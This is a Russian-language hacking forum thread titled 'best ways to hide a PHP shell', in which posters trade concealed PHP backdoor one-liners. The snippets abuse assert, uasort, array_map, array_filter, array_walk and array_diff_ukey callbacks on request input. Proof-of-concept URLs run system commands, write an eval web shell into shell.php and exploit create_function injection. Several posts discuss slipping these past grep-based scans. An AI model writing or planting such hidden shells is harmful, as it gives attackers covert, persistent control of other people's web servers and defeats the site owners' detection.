Лучшие способы спрятать php шелл!

Discussion in 'Уязвимости' started by Cesto, 14 Oct 2011.

  1. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    Потому что $b _не_была_ установлена ранее. Теперь все ок.

    Ну не нравится eval, есть куча других возможностей исполнить код.
    PHP:
    assert($_COOKIE['login']);
     
  2. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    PHP:
    egrep -"assert\(" `find . -type f -name "*.php" -print`
     
    _________________________
  3. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    ололо.
    Во-первых assert ищут крайне редко.
    Во-вторых, "shell" бы также нашли. =\\
    В-третьих это в любом случае лучше чем та втыкалка шелла, что предложил Ereee 5 постов выше.

    upd:
    а
    Code:
    assert       ($_GET['lol'])
    уже не найдет. пичалько.
     
  4. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    PHP:
    egrep -"assert|eval" `find . -type f -name "*.php" -print`
    Хорошо спрятан тот бекдор, который не возможно найти средствами автоматизации.
     
    _________________________
  5. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    1) $_GET lol.
    2) egrep -H "assert" `find . -type f -name "*.php" -print` lol.
    3) lol
     
  6. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    Эдакий eval на основе «бага» php.
    create_function - по своей сути обычный eval.
    Сам код:
    PHP:
    uasort($_REQUEST['login'], $_REQUEST['password']);
    PoC:
    Code:
    re_password=phpinfo();&login[]=};eval($_REQUEST['re_password']);//&login[]=$b, $a&password=create_function
    
     
    3 people like this.
  7. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    это не баг, это обычная callback функция
     
    _________________________
  8. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    под багом я понимал не каллбак, а сам баг сreate_function:
    https://bugs.php.net/bug.php?id=48231
     
  9. KolosJey

    KolosJey Member

    Joined:
    21 Dec 2009
    Messages:
    45
    Likes Received:
    42
    Reputations:
    48
    Насчёт "бага" там отличный ответ разработчиков. Лучше пожалуй и не скажешь
     
  10. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    «callback похождения»

    Небольшой наборчик функций, которые при обычных условиях не вызывают подозрений.
    Все параметры могут быть также вынесены в отдельные переменные, для уменьшения подозрительности.

    array_map, array_filter, array_walk
    PHP:
    @array_map($_REQUEST['login'], $_REQUEST['password']);
    Или
    @array_filter($_REQUEST['password'], $_REQUEST['login']);
    Или
    @array_walk($_REQUEST['password'], $_REQUEST['login']);
    Кому какчто лучше смотрится.
    PoC:
    Code:
    http://localhost/test.php?login=system&password[]=type+test.php
    array_diff_ukey

    PHP:
    @array_diff_ukey(@array((string)$_REQUEST['password'] => 1), @array((string)$_REQUEST['re_password'] => 2), $_REQUEST['login']);
    от callback функции требуется принятие 2 параметров, поэтому необходимо приготовить такую функцию, например file_put_contents.
    PoC:
    Code:
    http://localhost/test.php?login=file_put_contents&password=shell.php&re_password=%3C?php%20eval%28$_REQUEST[cmd]%29;%20?%3E
    В файле shell.php будет «евальник».
    Или же PoC[2], опять же "баг" с create_function:
    Code:
    http://localhost/test.php?login=create_function&password=$a, $b&re_password=}phpinfo();//
    
    Результатом будет являться выполнение phpinfo();
     
    Alaich likes this.
  11. GTAlex

    GTAlex New Member

    Joined:
    7 Sep 2009
    Messages:
    48
    Likes Received:
    0
    Reputations:
    0
    Дико извиняюсь - но каким образом можно добавить в REMOTE_ADDR: ?
    Пробовал курлом через дополнительные параметры заголовка - не передаёт
    Code:
    $ipaddress = array(
        "REMOTE_ADDR: phpinfo()"
    );        
    curl_setopt( $ch, CURLOPT_HTTPHEADER, $ip_address);
    На сколько я понимаю сервер эту инфу не из заголовков запроса берёт.